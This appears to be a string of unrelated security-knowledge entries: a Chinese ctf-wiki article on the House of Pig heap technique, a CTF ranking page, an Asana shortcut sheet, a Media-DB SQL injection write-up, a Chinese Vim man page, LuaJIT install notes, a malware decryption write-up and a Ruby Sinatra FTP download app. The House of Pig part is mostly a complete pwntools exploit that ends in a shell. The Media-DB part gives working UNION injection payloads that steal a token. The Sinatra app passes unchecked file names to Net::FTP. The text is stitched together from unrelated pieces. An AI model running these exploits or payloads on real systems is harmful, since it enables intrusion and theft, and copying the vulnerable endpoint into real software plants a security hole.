# House of Pig ## 介绍 House of Pig 这种利用方法来自 XCTF-FINAL 2021 的同名题目。 ## 概括 House of Pig 是一个将 Tcache Statsh Unlink+ Attack 和 FSOP 结合的攻击,同时使用到了 Largebin Attack 进行辅助。主要适用于 libc 2.31及以后的新版本 libc 并且程序中仅有 calloc 时。 利用条件为 * 存在 UAF * 能执行abort流程或程序显式调用 exit 或程序能通过主函数返回。 主要利用的函数为 `_IO_str_overflow`,可以参考 [glibc 2.24下 IO_FILE 的利用](https://ctf-wiki.org/pwn/linux/io_file/exploit-in-libc2.24/#_io_str_jumps-overflow)。 利用流程为 1. 进行一个 Tcache Stash Unlink+ 攻击,把地址 `__free_hook - 0x10` 写入 tcache_pthread_struct。由于该攻击要求 `__free_hook - 0x8` 处存储一个指向可写内存的指针,所以在此之前需要进行一次 large bin attack。 2. 再进行一个 large bin attack,修改 `_IO_list_all` 为一个堆地址,然后在该处伪造 `_IO_FILE` 结构体。 3. 通过伪造的结构体触发 `_IO_str_overflow` getshell。 注意在 2.31 下的 largbin attack 和老版本有一定区别,可以参考 [Large Bin Attack](https://ctf-wiki.org/pwn/linux/glibc-heap/large_bin_attack/) 这一章。 ## 例题 ### XCTF-FINAL-2021 house of pig #### 跳表修复 拿到题目,直接 F5 的话可能会出现 `__asm{ jmp rax }` 这样的指令 这是 switch 的跳表结构未被 IDA 识别造成的,导致了大量代码丢失,通过 IDA 的 Edit->Other 中的 Specify switch idiom 功能可以实现修复,对于此程序应该使用的参数为 然后就可以识别出 switch 了。 #### 流程分析 首先,经过大胆猜测可以分析出每只猪的结构体结构 ```cpp struct PIG { char *des_ptr[24]; int des_size[24]; char des_exist_sign[24]; char freed_sign[24]; }; ``` 和 qword_9070 指向的结构体结构 ```cpp struct ALL_PIGS { char *peppa_des_ptr[24]; int peppa_des_size[24]; char peppa_des_exist_sign[24]; char peppa_freed_sign[24]; int peppa_last_size; int align1; char *mummy_des_ptr[24]; int mummy_des_size[24]; char mummy_des_exist_sign[24]; char mummy_freed_sign[24]; int mummy_last_size; int align2; char *daddy_des_ptr[24]; int daddy_des_size[24]; char daddy_des_exist_sign[24]; char daddy_freed_sign[24]; int daddy_last_size; int view_times_left; int edit_times_left; }; ``` 把这两个结构体补全后,程序的流程就会容易分析许多,可以发现主要的漏洞是在改变猪猪的时候,备份和更新结构体时未对 des_exist_sign[24] 数组更新 要触发这个未更新的漏洞需要更改角色,要通过一个 check_password 的操作。 也就是需要输入三个 md5 值之一的原值,注意到最后一个 md5 被 '\x00' 截断了,所以只要前两位相同即可,可以尝试使用爆破等方法通过此处的检测,下面是一种方法。 ```python def change_rol(role): sh.sendlineafter("Choice: ",'5') if (role == 1): sh.sendlineafter("user:\n","A\x01\x95\xc9\x1c") if (role == 2): sh.sendlineafter("user:\n","B\x01\x87\xc3\x19") if (role == 3): sh.sendlineafter("user:\n","C\x01\xf7\x3c\x32") ``` 总结一下,程序主要的漏洞点是有 UAF,可以 show,可以 edit,分别有 2 和 8 次机会。最大可以申请 0x440 大小的空间,即可以使 chunk 进入 unsorted bin 和 large bin。整个程序中不存在 malloc 函数,全部是 calloc,由此函数的不从 tcache 中取出 chunk 的性质,且不可以申请 fastbin 范围中的 chunk,导致利用比较困难。 #### 通过 House of Pig 实现利用 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = 'debug' context.terminal = ["tmux","splitw","-h"] def add_message(size,payload): sh.sendlineafter("Choice: ",'1') sh.sendlineafter("size: ",str(size)) sh.sendafter("message: ",payload) def view_message(idx): sh.sendlineafter("Choice: ",'2') sh.sendlineafter("index: ",str(idx)) def edit_message(idx,payload): sh.sendlineafter("Choice: ",'3') sh.sendlineafter("index: ",str(idx)) sh.sendafter("message: ",payload) def delete_message(idx): sh.sendlineafter("Choice: ",'4') sh.sendlineafter("index: ",str(idx)) def change_rol(role): sh.sendlineafter("Choice: ",'5') if (role == 1): sh.sendlineafter("user:\n","A\x01\x95\xc9\x1c") if (role == 2): sh.sendlineafter("user:\n","B\x01\x87\xc3\x19") if (role == 3): sh.sendlineafter("user:\n","C\x01\xf7\x3c\x32") sh = process("./pig") libc = ELF("./libc-2.31.so") change_rol(2) for i in range(5): add_message(0x90,'tcache size\n' * (0x90 // 48)) delete_message(i) change_rol(1) for i in range(7): add_message(0x150,'tcache size\n' * (0x150 // 48)) delete_message(i) add_message(0x150,'to unsorted\n' * (0x150 // 48)) # 7* add_message(0x150,'to unsorted\n' * (0x150 // 48)) # 8 delete_message(7) change_rol(2) add_message(0xB0,'split7\n' * (0xB0 // 48)) # 5 change_rol(1) add_message(0x150,'to unsorted\n' * (0x150 // 48)) # 9* add_message(0x150,'to unsorted\n' * (0x150 // 48)) # 10 delete_message(9) change_rol(2) add_message(0xB0,'split9\n' * (0xB0 // 48)) # 6 # prepare done change_rol(1) add_message(0x410,'leak_libc\n' * (0x410 // 48)) # 11 add_message(0x410,'largebin\n' * (0x410 // 48)) # 12 add_message(0x410,'\n' * (0x410 // 48)) # 13 delete_message(12) change_rol(2) change_rol(1) view_message(12) sh.recvuntil("is: ") libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.sym["__malloc_hook"] - 0x10 - 96 view_message(5) sh.recvuntil("is: ") heap_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x12750 log.success("libc_base: " + hex(libc_base)) log.success("heap_base: " + hex(heap_base)) __free_hook_addr = libc_base + libc.sym["__free_hook"] _IO_list_all_addr = libc_base + libc.sym["_IO_list_all"] #_IO_str_jump_addr = libc_base + libc.sym["_IO_str_jump"] _IO_str_jump_addr = libc_base + 0x1ED560 system_addr = libc_base + libc.sym["system"] ############################### leak done ############################### add_message(0x410,'get back\n' * (0x410 // 48)) # 14 change_rol(2) add_message(0x420,'largebin\n' * (0x420 // 48)) # 7 add_message(0x430,'largebin\n' * (0x430 // 48)) # 8 delete_message(7) add_message(0x430,'push\n' * (0x430 // 48)) # 9 change_rol(1) change_rol(2) edit_message(7,(p64(0) + p64(__free_hook_addr - 0x28)) * (0x420//48)) change_rol(1) delete_message(14) add_message(0x430,'push\n' * (0x430 // 48)) # 15 # largebin attack done change_rol(3) add_message(0x410,'get_back\n' * (0x430 // 48)) # 0 change_rol(1) edit_message(9,(p64(heap_base + 0x12C20) + \ p64(__free_hook_addr - 0x20)) * (0x150 // 48)) change_rol(3) add_message(0x90,'do stash\n' * (0x90 // 48)) # 1 # stash unlink done change_rol(2) edit_message(7,(p64(0) + p64(_IO_list_all_addr - 0x20)) * (0x420//48)) change_rol(3) delete_message(0) add_message(0x430,'push\n' * (0x430 // 48)) # 2 # second largebin atk change_rol(3) add_message(0x330,'pass\n' * (0x430 // 48)) # 3 add_message(0x430,'pass\n' * (0x430 // 48)) # 4 fake_IO_FILE = '' fake_IO_FILE += 2 * p64(0) fake_IO_FILE += p64(1) # _IO_write_base fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) # _IO_write_ptr fake_IO_FILE += p64(0) # _IO_write_end fake_IO_FILE += p64(heap_base + 0x13E20) # old_buf, _IO_buf_base fake_IO_FILE += p64(heap_base + 0x13E20 + 0x18) # calc the memcpy length, _IO_buf_end fake_IO_FILE = fake_IO_FILE.ljust(0xC0 - 0x10,'\x00') fake_IO_FILE += p32(0) # mode <= 0 fake_IO_FILE += p32(0) + p64(0) * 2 # bypass _unused2 fake_IO_FILE += p64(_IO_str_jump_addr) payload = fake_IO_FILE + '/bin/sh\x00' + 2 * p64(system_addr) sh.sendlineafter("01dwang's Gift:\n",payload) #add_message(0x410,'large_bin\n' * (0x410 // 48)) # 1 sh.sendlineafter("Choice: ",'5') sh.sendlineafter("user:\n",'') sh.interactive() ``` ## 参考 > [house of pig一个新的堆利用详解](https://www.anquanke.com/post/id/242640#h2-3)
sec-knowleage
# CS Technion CTF Writeups for the 2021 [CS Technion CTF](http://ctf.cs.technion.ac.il/). The participants were divided into four divisions: 1. Students in CS department up to the fourth semester of 1st degree. 2. Students in CS department from the fifth semester of 1st degree and up, this includes students in their 2nd and 3rd degrees. 3. Students from other departments, Alumni and faculty members. 4. Participants from outside of the Technion Finished 2nd in the forth division and 9th altogether: ![](images/top5_d4.png) ![](images/top10_all.png) Additional resources (including other writeups) can be found [here](https://github.com/Dvd848/CTFs/discussions/20).
sec-knowleage
--- title: Asana date: 2022-11-23 16:23:31.697445 background: bg-[#e0726e] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 40 keyboard shortcuts found in Asana --- Keyboard Shortcuts ------------------ ### My Tasks Shortcut | Action ---|--- `Tab` `Y` | Mark as Today in your My Tasks `Tab` `U` | Mark as Upcoming in your My Tasks `Tab` `L` | Mark as Later in your My Tasks {.shortcuts} ### Inbox Shortcut | Action ---|--- `K/J` | Move Up/Down `H` | Jump to Inbox tab `S` | Jump to Archive tab `F` | Follow or Unfollow `I` | Archive `U` | Move to Inbox {.shortcuts} ### Task Actions {.row-span-2} Shortcut | Action ---|--- `Enter` | New Task `Tab` `Backspace` | Delete Selected Task(s) `Backspace` | Delete current task (when task name is empty) `Ctrl` `Enter` | Complete Selected Task(s) `Ctrl` `Up/Down` | Move Up/Down `Ctrl` `Shift` `Up/Down` | Jump Up/Down to the next Section `Ctrl` `C` | Copy Selected Tasks `Ctrl` `V` | Paste Tasks (one per line) `Tab` `M` | Assign to Me `Tab` `H` | Like a Selected Task `:` | Create a Section (at the end of a task name) {.shortcuts} ### Navigation Shortcut | Action ---|--- `Tab` `Z` | Navigate to My Tasks `Tab` `I` | Navigate to Inbox `Tab` `C` | Comment on Selected Task `Tab` `A` | Assign Selected Task `Tab` `D` | Set Due Date `Tab` `F` | Add Follower `Tab` `T` | Add a tag to the task `Tab` `S` | Focus Subtasks `Tab` `/` | Search for a project, tag, person, or task {.shortcuts} ### Selection Shortcut | Action ---|--- `Up/Down` | Change Selection `Shift` `(click)` | Select Range `Shift` `Up/Down` | Select Range `Ctrl` `(click)` | Multi-select Individual Task {.shortcuts} ### Application Shortcut | Action ---|--- `Ctrl` `/` | Show Keyboard Shortcuts `Tab` | Expand the right pane `Esc` | Collapse the right pane `Tab` `X` | Enter Focus Mode `Tab` `Q` | Quick Add `Tab` `Enter` | Post Comment (from comment field) `Tab` `B` | What it sounds like {.shortcuts} Also see -------- - [Keyboard shortcuts for Asana](https://asana.com/guide/help/faq/shortcuts) _(asana.com)_
sec-knowleage
# Media-DV Misc. ## Description: > The gatekeeper software gave you access to a custom database to organize a music playlist. It looks like it might also be connected to the smart fridge to play custom door alarms. Maybe we can grab an oauth token that gets us closer to cake. > > media-db.ctfcompetition.com 1337 ```python #!/usr/bin/env python2.7 import sqlite3 import random import sys BANNER = "=== Media DB ===" MENU = """\ 1) add song 2) play artist 3) play song 4) shuffle artist 5) exit""" with open('oauth_token') as fd: flag = fd.read() conn = sqlite3.connect(':memory:') c = conn.cursor() c.execute("CREATE TABLE oauth_tokens (oauth_token text)") c.execute("CREATE TABLE media (artist text, song text)") c.execute("INSERT INTO oauth_tokens VALUES ('{}')".format(flag)) def my_print(s): sys.stdout.write(s + '\n') sys.stdout.flush() def print_playlist(query): my_print("") my_print("== new playlist ==") for i, res in enumerate(c.execute(query).fetchall()): my_print('{}: "{}" by "{}"'.format(i+1, res[1], res[0])) my_print("") my_print(BANNER) while True: my_print(MENU) sys.stdout.write("> ") sys.stdout.flush() choice = raw_input() if choice not in ['1', '2', '3', '4', '5']: my_print('invalid input') continue if choice == '1': my_print("artist name?") artist = raw_input().replace('"', "") my_print("song name?") song = raw_input().replace('"', "") c.execute("""INSERT INTO media VALUES ("{}", "{}")""".format(artist, song)) elif choice == '2': my_print("artist name?") artist = raw_input().replace("'", "") print_playlist("SELECT artist, song FROM media WHERE artist = '{}'".format(artist)) elif choice == '3': my_print("song name?") song = raw_input().replace("'", "") print_playlist("SELECT artist, song FROM media WHERE song = '{}'".format(song)) elif choice == '4': artist = random.choice(list(c.execute("SELECT DISTINCT artist FROM media")))[0] my_print("choosing songs from random artist: {}".format(artist)) print_playlist("SELECT artist, song FROM media WHERE artist = '{}'".format(artist)) else: my_print("bye") exit(0) ``` ## Solution: I missed the fact that the source code was attached to the challenge and treated this as a black box exploit. First, input an apostrophe and leak the vulnerable query. ```console root@kali:/media/sf_CTFs/google/media# nc media-db.ctfcompetition.com 1337 === Media DB === 1) add song 2) play artist 3) play song 4) shuffle artist 5) exit > 1 artist name? ' song name? ' 1) add song 2) play artist 3) play song 4) shuffle artist 5) exit > 4 choosing songs from random artist: ' == new playlist == Traceback (most recent call last): File "./media-db.py", line 76, in <module> print_playlist("SELECT artist, song FROM media WHERE artist = '{}'".format(artist)) File "./media-db.py", line 45, in print_playlist for i, res in enumerate(c.execute(query).fetchall()): sqlite3.OperationalError: unrecognized token: "'''" ``` Leak the tables: ```console root@kali:/media/sf_CTFs/google/media# nc media-db.ctfcompetition.com 1337 === Media DB === 1) add song 2) play artist 3) play song 4) shuffle artist 5) exit > 1 artist name? test' UNION SELECT name, name FROM sqlite_master WHERE type='table song name? a 1) add song 2) play artist 3) play song 4) shuffle artist 5) exit > 4 choosing songs from random artist: test' UNION SELECT name, name FROM sqlite_master WHERE type='table == new playlist == 1: "media" by "media" 2: "oauth_tokens" by "oauth_tokens" 1) add song 2) play artist 3) play song 4) shuffle artist 5) exit ``` Leak the table structure: ```console root@kali:/media/sf_CTFs/google/media# nc media-db.ctfcompetition.com 1337 === Media DB === 1) add song 2) play artist 3) play song 4) shuffle artist 5) exit > 1 artist name? ' UNION SELECT sql, sql FROM sqlite_master WHERE tbl_name = 'oauth_tokens' AND type = 'table song name? a 1) add song 2) play artist 3) play song 4) shuffle artist 5) exit > 4 choosing songs from random artist: ' UNION SELECT sql, sql FROM sqlite_master WHERE tbl_name = 'oauth_tokens' AND type = 'table == new playlist == 1: "CREATE TABLE oauth_tokens (oauth_token text)" by "CREATE TABLE oauth_tokens (oauth_token text)" 1) add song 2) play artist 3) play song 4) shuffle artist 5) exit > ``` Get the flag: ```console > root@kali:/media/sf_CTFs/google/media# nc media-db.ctfcompetition.com 1337 === Media DB === 1) add song 2) play artist 3) play song 4) shuffle artist 5) exit > 1 artist name? test' UNION SELECT oauth_token, oauth_token FROM oauth_tokens -- song name? a 1) add song 2) play artist 3) play song 4) shuffle artist 5) exit > 4 choosing songs from random artist: test' UNION SELECT oauth_token, oauth_token FROM oauth_tokens -- == new playlist == 1: "CTF{fridge_cast_oauth_token_cahn4Quo} " by "CTF{fridge_cast_oauth_token_cahn4Quo} " 1) add song 2) play artist 3) play song 4) shuffle artist 5) exit ``` The flag: CTF{fridge_cast_oauth_token_cahn4Quo}
sec-knowleage
.TH VIM 1 "1998 December 28" .SH NAME vim \- Vi IMproved, 一个程序员的文本编辑器 .SH "总览 (SYNOPSIS)" .br .B vim [options] [file ..] .br .B vim [options] - .br .B vim [options] \-t tag .br .B vim [options] \-q [errorfile] .PP .br .B ex .br .B view .br .B gvim .B gview .br .B rvim .B rview .B rgvim .B rgview .SH "描述 (DESCRIPTION)" .B Vim 是 一个 同 Vi 向上兼容的 文本 编辑器, 可以 用来 编辑 任何 ASCII 文本, 特别 适合 用来 编辑 程序. .PP 它对 Vi 作了 许多 增强: 多层撤销, 多窗口, 多缓冲区(buffer), 高亮度 语法显示, 命令行编辑, 文件名匹配, 在线帮助, 可视选定, 等等. 用 ":help vi_diff.txt" 看 .B Vim 和 Vi 的差别 的 摘要. .PP 在运行 .B Vim 的时候 可以用 ":help" 命令 获得 很多 帮助. 参考 下面的 在线帮助 一节. .PP 一般 可用 .PP vim file .PP 命令 打开 .B Vim 来 编辑 一个 文件. 概括的说, 可以用 .PP vim [options] [filelist] .PP 命令 来运行 .B Vim . 如果 没有 文件名, 编辑器 就会 打开 一个 空的 缓冲区. 否则 就会用 下面 四个中的一个 来选择 要编辑的 文件. .TP 12 file .. 文件名列表. 第一个 会 作为 当前 文件 读入 缓冲区, 光标 会 停在 缓冲区的 第一行. 你 可以用 ":next" 命令 转到 其它的 文件. 如果 要编辑 一个以 "-" 开头的 文件. 在文件 列表 前面 加上 "--". .TP - 从 标准输入 读取 被编辑的 文件. 从 标准 错误输出 (应该 是个 终端) 读入 命令. .TP -t {tag} 被 编辑的 文件 和 光标的 初始位置 由 标记 (tag) 决定, 标记 有点像 一种 goto 标签 (goto label). 在 标记文件中 找到 标记, 相应的 文件 成为 当前文件, 相应的 命令 被执行. 这种方式 常用于 C 程序, 标记 就是 函数名, 当前文件 就是 包含 那个函数的 文件, 光标 停留在 函数的 开始处. 见 ":help tag-commands"。 .TP -q [errorfile] 运行时 进入 快速修复模式. 读取 [errorfile] 文件 并显示 第一个 错误. 如果 没有 [errorfile] 文件, 文件名 由 'errorfile' 选项 决定 (在 Amiga 为 "AztecC.Err", 在 其他系统中 为 "errors.vim"). 可以 用 ":cn" 命令 跳到 其它错误处. 见 ":help quickfix"。 .PP .B Vim 会 根据 不同命令 有 不同的 表现, 尽管 它们 可能 是 一个 可执行 文件. .TP 10 vim 正常 模式, 所有 都是 默认状态. .TP ex 以 Ex 模式 运行. 用 ":vi" 命令 进入 正常模式. 也可以 加上 "-e" 选项 进入 此模式. .TP view 以 只读模式 运行. 你被禁止 写文件. 也可以 加上 "-R" 选项 进入 此模式. .TP gvim gview GUI 版本。 开启 一个 新的窗口. 也可以 加上 "-g" 选项 进入 此模式. .TP rvim rview rgvim rgview 同 上面的 相同, 只是 加上了 限制, 不能运行 shell 程序, 也 不能 暂停 .B Vim . 也 可以 加上 "-Z" 选项 进入 此模式. .SH "选项 (OPTIONS)" 所有选项 都可以 以 任何顺序 出现, 可以 在文件名前, 也可以 在文件名后. 没有 参数的 选项 可以 出现在 一个 "-" 后面. .TP 12 +[num] 对于 第一个 文件, 光标 会停在 第 "num" 行. 如果 没有 "num" , 则 光标 会停在 最后一行. .TP +/{pat} 对于 第一个文件, 光标 会停在 {pat} 第一次 出现的 地方. 搜寻 模式 见 ":help search-pattern"。 .TP +{command} .TP -c {command} 读入 第一个 文件后 会 执行 {command} 命令. {command} 应为 Ex 命令. 如果 {command} 中 包含有 空格, 必须 用双引号 括住 (这个取决于所用的 shell). 例: Vim "+set si" main.c .br 注意: 你 最多 可以用 10 个 "+" 或者 "-c" 命令. .TP -b 二进制模式. 设置 一些选项, 这样 就可以 用来 编辑 二进制 和 可执行 文件 了. .TP -C 兼容. 设置 'compatible' 选项. 这样 就算 存在 .vimrc 文件 .B Vim 也会 基本上 象 Vi 一样了. .TP -d {device} 打开 {device} 用作终端, 只在 Amiga 下。 例: "\-d con:20/30/600/150". .TP -e 以 Ex 模式 运行 .B Vim , 就像 运行 "ex" 一样。 .TP -f 前台 运行。 对于 GUI 版本, .B Vim 不会 同运行它的 shell 分离。 在 Amiga 中, .B Vim 不会 重新启动 来 开启一个 新窗口. 这个选项 会用在当 .B Vim 被 另外一个 程序执行, 并且 这个程序 想等编辑动作 结束后 再运行 的 时候 (如 mail). 在 Amiga 上 ":sh" 和 ":!" 不会起作用. .TP -F 如果 .B Vim 编译时 加入了 对 从右到左 书写的 文件 FKMAP 以及 Farsi 键盘映射 的支持, .B Vim 会 以 Farsi 模式 运行, 比如 设置 'fkmap' 和 'rightleft' 选项.不然 .B Vim 会 显示 一条 错误信息 并 终止. .TP -g 如果 .B Vim 编译时 加入 GUI 支持, 会开启 GUI, 不然 .B Vim 会 显示 一条 错误信息 并 终止. .TP -h .B Vim 显示 命令行 参数 和 选项的 帮助, 然后 终止. .TP -H 如果 .B Vim 编译时 加入了 对 从右到左 书写的 文件 RIGHTLEFT 以及 Hebrew 键盘映射 的支持, .B Vim 会以 Hebrew 模式 运行, 比如 设置 'hkmap' 和 'rightleft' 选项. 不然 .B Vim 会 显示 一条 错误信息 并 终止. .TP -i {viminfo} 准许 使用 viminfo 文件, 这个 选项 设置 使用的 文件名, 默认的 是 "~/.viminfo". 用 "NONE" 文件名 也可以 跳过 使用 .viminfo 文件. .TP -L 同 -r 一样. .TP -l Lisp 模式. 打开 'lisp' 和 'showmatch' 选项. .TP -m 禁止 修改文件. 设置 'write' 选项, 这样 就不能 写文件了. .TP -N 非兼容 模式. 设置 'compatible' 选项. 这样 .B Vim 会 表现得 更好, 就算 .vimrc 文件 不存在 也会 同 Vi 不兼容. .TP -n 禁止 交换文件, 这样 在崩溃后 就 不能 恢复 文件了. 对于 编辑 在很慢的 媒体中的 文件 很有好处 (比如软盘), 也可以 用 ":set uc=0" 禁止交换, 用 ":set uc=200" 开启 交换. .TP -o[N] 打开 N 个窗口. 如果没有 N, 为 每个文件 开一个 窗口. .TP -R 只读 模式. 设置 'readonly' 选项. 你 仍然 可以 编辑 缓冲区, 但是 不能 重写文件. 如果 你要 重写文件, 必须在 Ex 命令中 用惊叹号, 比如 ":w!". -R 选项 隐含了 -n 选项 (见下). 'readonly' 选项 可以 用 ":set noro" 设置. 见 ":help 'readonly'". .TP -r 列出 交换文件, 显示 关于 恢复文件的 信息. .TP -r {file} 恢复 模式. 交换文件 是 用来 恢复 在 编辑过程中 崩溃了的 文件. 交换 文件名 是 被编辑文件名 后面 加上 ".swp". 见 ":help recovery". .TP -s 安静 模式. 只在 用 "Ex" 启动 或者 用了 "-e" 选项 才有用. .TP -s {scriptin} 读入 脚本文件 {scriptin}. 文件里的 字符 就像 你 直接 输入 一样的, 也 可以 用 ":source! {scriptin}" 命令 实现 这个功能. 如果 在 编辑器 结束前 就 读到了 文件尾, 就 接着 从键盘 读入. .TP -T {terminal} 告诉 .B Vim 你 用的 终端的 名字, 只有 当 不能 自动确定 的时候 才这样. 它 必须是 .B Vim (builtin) 能辨认的 终端 或者是 在 termcap 或者 terminfo 文件中 定义了的. .TP -u {vimrc} 用 {vimrc} 文件 里的 命令 来初始化, 跳过 所有 其它的 初始化, 用 这个 来编辑 特殊类型的 文件. 也可以 用 "NONE" 来 跳过 所有初始化. 在 vim 中 用 ":help initialization" 查看 更多信息. .TP -U {gvimrc} 用 {gvimrc} 文件 里的 命令 来初始化 GUI, 跳过 所有 其它的 GUI 初始化, 也 可以 用 "NONE" 来跳过 所有 GUI 初始化. 在 vim 中 用 ":help gui-init" 查看 更多信息. .TP -V 冗长 显示. 显示 执行 初始化代码 和 读入的 文件, 并且 写 viminfo 文件. .TP -v 以 Vi 模式运行 .B Vim , 就像 运行 "vi" 一样, 只有 运行 "ex" 时 才有用. .TP -w {scriptout} 所有 在 .B Vim 退出前 你键入的 字符 都会被 存入 {scriptout} 文件. 这 用来 创建一个 脚本文件, 你 可以用 "vim -s" 和 ":source!" 来使用. 如果 {scriptout} 存在, 会 把 字符 追加到 后面. .TP -W {scriptout} 同 -w 一样, 但是 是覆盖 原来的文件. .TP -x 写文件时 加密. 会提示你 输入密码. .TP -Z 受限 模式. 同运行 以 "r" 开头的 程序 同效. .TP -- 表明 选项结束. 在此之后的 参数 都会被认为 是 文件名, 可以 用这个 来编辑 一个 以 '-' 开头 的文件. .SH "在线帮助 (ON-LINE HELP)" 在 .B Vim 中键入 ":help" 来 获得 帮助. 用 ":help subject" 来 获得 关于 一个 特定主题的 帮助. 例如 用 ":help ZZ" 来 获得 关于 "ZZ" 的帮助. 用 <Tab> 和 CTRL-D 来 完成 帮助主题 (":help cmdline-completion"). 可以 用 标记 从 一个地方 跳到 另一个 地方 (有点像 超文本连接, 见 ":help"). 所有的 文档 都可以 这样 来浏览, 比如 ":help syntax.txt". .SH "文件 (FILES)" .TP 15 /usr/share/vim/vim56/doc/*.txt .B Vim 文档文件. 用 ":help doc-file-list" 获得 完整的 列表. .TP /usr/share/vim/vim56/doc/tags 在 文档文件中 查找信息 用的 标签文件. .TP /usr/share/vim/vim56/syntax/syntax.vim 系统 语法 初始化 文件. .TP /usr/share/vim/vim56/syntax/*.vim 各种语言的 语法文件. .TP /usr/share/vim/vimrc 系统 .B Vim 初始化文件. .TP /usr/share/vim/gvimrc 系统 gvim 初始化文件. .TP /usr/share/vim/vim56/optwin.vim ":options" 命令 所用的 脚本文件, 这是个 查看 和 设置选项的 很好的 办法. .TP /usr/share/vim/vim56/menu.vim gvim 的 系统菜单 初始化文件. .TP /usr/share/vim/vim56/bugreport.vim 用来 生成 错误报告的 脚本文件, 见 ":help bugs". .TP /usr/share/vim/vim56/filetype.vim 根据 文件名 来判定 文件类型 的 脚本文件, 见 ":help 'filetype'". .TP /usr/share/vim/vim56/scripts.vim 根据 文件内容 来判定 文件类型 的 脚本文件, 见 ":help 'filetype'". .PP 最新 信息 参见 VIM 主页: .br \<URL:http://www.vim.org/\> .SH "参见 (SEE ALSO)" vimtutor(1) .SH "作者 (AUTHOR)" Most of .B Vim 的大部分 都是 Bram Moolenaar 在 很多人的 帮助下 完成的. 见 ":help credits". .br 虽然 不大会有 最早的 代码存在, 但是 .B Vim 基于 Stevie 写的代码, 之后被 Tim Thompson, Tony Andrews and G.R. (Fred) Walter 修改, 然后 才形成的. .SH "错误 (BUGS)" 多半都有. 用 ":help todo" 看 已知问题的 列表. .PP 注意 有些 被 报告为 错误的 事实上 是 应为 太相信 所有的 行为 都应该 同 Vi 一样, 如果 你因为 它 和 Vi 不一样 而 认为 它 是个 错误, 你 应该 好好 看看 vi_diff.txt 文件 (或者 在 Vim 中 键入 :help vi_diff.txt), 并且 看看 'compatible' 和 'cpoptions' 选项. .SH "[中文版维护人]" .B 唐友 <tony_ty@263.net> .SH "[中文版最新更新]" .BR 2001/8/30 .SH "[中国Linux论坛man手册页翻译计划]" .BI http://cmpp.linuxforum.net
sec-knowleage
# LuaJIT --- **官网** - http://luajit.org/ --- ## 环境安装 **Linux 系统上安装** ```bash git clone https://luajit.org/git/luajit.git cd luajit make make install export LUAJIT_LIB=/usr/local/lib ``` 或 ``` f8x -lua ``` **测试** ``` luajit >print("hello The world") ``` --- ## 编译 使用 -b 选项,后缀随便定义,和 luac 一样,只有自己可以运行 ``` luajit -b test.lua test.jit ```
sec-knowleage
# Brewery hack J1 (forensics/osint/reverse/crypto) This was an interesting multi-stage challenge. It starts with a 80MB pcap for analysis. For simplicity we're include only the [relevant part](attack.pcap) with the actual attack. From this pcap part we can see that the user downloads some `.doc` file with [obfuscated macro](macro_obfuscated.txt) inside. After cleaning up the code we end-up with some pretty clear [malware code](macro.txt) After this file is downloaded the attacker sends some commands to the victim: - get_information - get_process_list - exe The last one is particularly interesting because it seems to be some kind of dropper command, which transfers binary payload to the target: ``` case "exe": start_and_load_exe(); request("exe", "info=OK", 1); break; ``` It took us a couple of tries to properly extract the [payload](binary.exe), because it contained some HTTP requests and wireshark split it strangely. The binary searches for `.XLS` files, and once such file is found, its contents are encrypted and sent to the server. In the pcap we can see one such payload being transferred, and our goal is to recover the original file. The encryption itself doesn't look very scary, because it uses only `xor` and `addition` with a `key` embedded in the binary itself: ```c void encrypt(char* dest, unsigned char* src, int seedx, int sz) { unsigned int* destptri = (unsigned int*)dest; unsigned int* srcptri = (unsigned int*)src; unsigned int* keyptri = (unsigned int*)key; for (int i = 0; i < sz; i+=8) { *destptri = *srcptri ^ *keyptri; destptri++; keyptri++; srcptri++; *destptri = *srcptri + *keyptri; destptri++; keyptri++; srcptri++; if (keyptri >= (unsigned int*)(key + 40)) { keyptri = (unsigned int*) key; } } seed = seedx; short tab[10000]; for (int i = 0; i < sz; i++) { printf("%02x\n", (unsigned int)dest[i]&0xff); tab[i] = weird_base(dest[i]); } char* asd = (char*)tab; for (int i=0; i<sz; i+=1) { dest[2*i] = asd[2*i+1]; dest[2*i+1] = asd[2*i]; } } ``` What is also interesting, is that the encryption process duplicates the data via `weird_base` function. The tricky part to break was the `weird_base` function. Its output looks a bit like base64, but in reality the function was doing some strange encoding using random values all the time. At first we thought it will be necessary to brute-force the seed (doable, it's 32 bits) using the known XLS file header, but it turned out to easier than that. Also this idea didn't work anyway, because the file turned out to be XLSX and not XLS, so the header was different. After some analysis of the `weird_base` function, we realised that: - Every byte is encoded on 2 bytes - Each of the resulting bytes contains information about 4 bits of the input "clear" of the random data Basically by doing: ```c for (int i=0; i<sz; i++) { dst[i] = (src[2*i+1] & 0xf) | ((src[2*i] & 0xf) << 4); } ``` We can recover the original data sent to `weird_base` function, without worrying about the random values mixed into the ciphertext. From this point the decryption is trivial, because it's just xor and subtraction: ```c void decrypt(char* dst, unsigned char* src, int sz) { for (int i=0; i<sz; i++) { dst[i] = (src[2*i+1] & 0xf) | ((src[2*i] & 0xf) << 4); } unsigned int* dstptri = (unsigned int*)dst; unsigned int* keyptri = (unsigned int*)key; for (int i = 0; i < sz; i+=8) { *dstptri = *dstptri ^ *keyptri; dstptri++; keyptri++; *dstptri = *dstptri - *keyptri; dstptri++; keyptri++; if (keyptri >= (unsigned int*)(key + 40)) { keyptri = (unsigned int*) key; } } } ``` Whole code available in [decryptor](decryptor.c). Once we run this, we can recover the original [XLS file](stolen_file.xls) stolen during the attack. From this file we can get the information to get the flag for the challenge. Last piece of the puzzle was to provide the name of the group which presumably performed the attack, and we can recover this information by looking into the IP address of the attackers -> `185.17.121.200`, and we get the name `BATELEUR`.
sec-knowleage
require 'sinatra' require 'net/ftp' require 'uri' get '/' do 'Use /download?uri=ftp://127.0.0.1:2121/&file=/path/to/file.txt to download a ftp file.' end get '/download' do content_type 'application/octet-stream' begin uri = URI.parse(params['uri']) ftp = Net::FTP.new ftp.connect(uri.host, uri.port) ftp.login(uri.user || 'anonymous', uri.password) ftp.getbinaryfile(params['file']) ftp.close rescue return '404 Not Found' end File.open(params['file'], 'rb') {|f| return f.read } end
sec-knowleage
